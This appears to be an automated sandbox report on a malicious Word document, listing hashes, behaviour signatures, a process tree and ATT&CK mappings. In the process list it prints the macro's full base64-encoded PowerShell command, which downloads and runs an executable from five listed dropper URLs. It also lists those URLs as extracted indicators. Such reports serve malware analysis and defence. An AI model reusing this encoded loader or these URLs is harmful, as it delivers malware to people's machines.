Overview

overview

10

Static

static

8

SecuriteIn...92.doc

windows7_x64

10

SecuriteIn...92.doc

windows10_x64

10

Analysis

  • max time kernel
    129s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12183.28160.28092.doc

  • Size

    174KB

  • MD5

    3c20d0817d04e702fd5166fc3ce8594b

  • SHA1

    a984d3e6856342ddc5d6bf48d7de645ba8084cc1

  • SHA256

    4b22feab70ea7d7acacbfaa93a8e2f6e0c3cd2520c63603caff2a970a78b1ea3

  • SHA512

    623f619e0ea82ef2979ad6c8485357b75c6f0cedbcda80d4c4c2198ea721ff3588892c1d4b929b7181f784d66aeea45230275faed12d0ca068e39afbc3a94b92

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.hatchdogs.com/assets/XIw/
exe.dropper

https://groovyboove.co.uk/blogs/8T94mmdka13/
exe.dropper

https://gregemerson.com/wp-includes/hudy17240/
exe.dropper

http://guariz.com.br/WuutjlO/
exe.dropper

http://hafder.com/images/fhq7h7babdbe5q5052/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Modifies registry class 280 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12183.28160.28092.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1420
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAE0AQwBOAEwAbQBmAGUAPQAnAFIAVABFAE8ATQBjAGYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIASQBUAGAAeQBgAHAAcgBPAGAAVABvAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQBEAE8AQQBXAGwAcQB2ACAAPQAgACcANwA0ADQAJwA7ACQASwBCAEEATgBIAGsAbQBvAD0AJwBaAEEARgBFAEIAdABxAHAAJwA7ACQAQwBRAEMAQwBXAHoAdwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAEQATwBBAFcAbABxAHYAKwAnAC4AZQB4AGUAJwA7ACQAUABGAFAAVwBTAG0AZgB0AD0AJwBRAFEATQBVAFQAcwBiAGwAJwA7ACQATwBDAEQAWABEAHcAZQBrAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAFgAWgBLAFUAYQBxAHIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBoAGEAdABjAGgAZABvAGcAcwAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBYAEkAdwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBvAG8AdgB5AGIAbwBvAHYAZQAuAGMAbwAuAHUAawAvAGIAbABvAGcAcwAvADgAVAA5ADQAbQBtAGQAawBhADEAMwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBlAGcAZQBtAGUAcgBzAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaAB1AGQAeQAxADcAMgA0ADAALwAqAGgAdAB0AHAAOgAvAC8AZwB1AGEAcgBpAHoALgBjAG8AbQAuAGIAcgAvAFcAdQB1AHQAagBsAE8ALwAqAGgAdAB0AHAAOgAvAC8AaABhAGYAZABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AZgBoAHEANwBoADcAYgBhAGIAZABiAGUANQBxADUAMAA1ADIALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAWQBVAEMAWgB5AHMAZQA9ACcATABPAEQAVQBWAG0AcgBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAFgAUgBWAFgAcABsAGIAIABpAG4AIAAkAE0AWABaAEsAVQBhAHEAcgApAHsAdAByAHkAewAkAE8AQwBEAFgARAB3AGUAawAuACIAZABPAGAAVwBuAGAAbABgAE8AYQBEAEYAaQBMAEUAIgAoACQAWgBYAFIAVgBYAHAAbABiACwAIAAkAEMAUQBDAEMAVwB6AHcAbgApADsAJABaAE4ASQBOAEkAbgB6AHcAPQAnAEEARQBHAE4ARABwAHkAdwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEMAUQBDAEMAVwB6AHcAbgApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMwAyADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAHQAZQAiACgAJABDAFEAQwBDAFcAegB3AG4AKQA7ACQATQBGAFIARQBOAGIAdABlAD0AJwBWAFYAWgBDAEcAZABiAHkAJwA7AGIAcgBlAGEAawA7ACQARwBQAEcARABDAGEAcgB6AD0AJwBYAEwATwBWAFkAdgB4AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBKAFUATQBQAGkAcgBhAD0AJwBCAEMAQQBKAEIAcQBtAHAAJwA=
    1⤵
    • Process spawned unexpected child process
    • Drops file in System32 directory
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1700

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1420-0-0x00000000003F9000-0x00000000003FD000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1420-2-0x0000000008880000-0x0000000008884000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1420-4-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1420-5-0x000000000ADF0000-0x000000000ADF4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1420-6-0x000000000BE70000-0x000000000BE74000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1420-8-0x0000000002100000-0x0000000002101000-memory.dmp
    Filesize

    4KB

    Download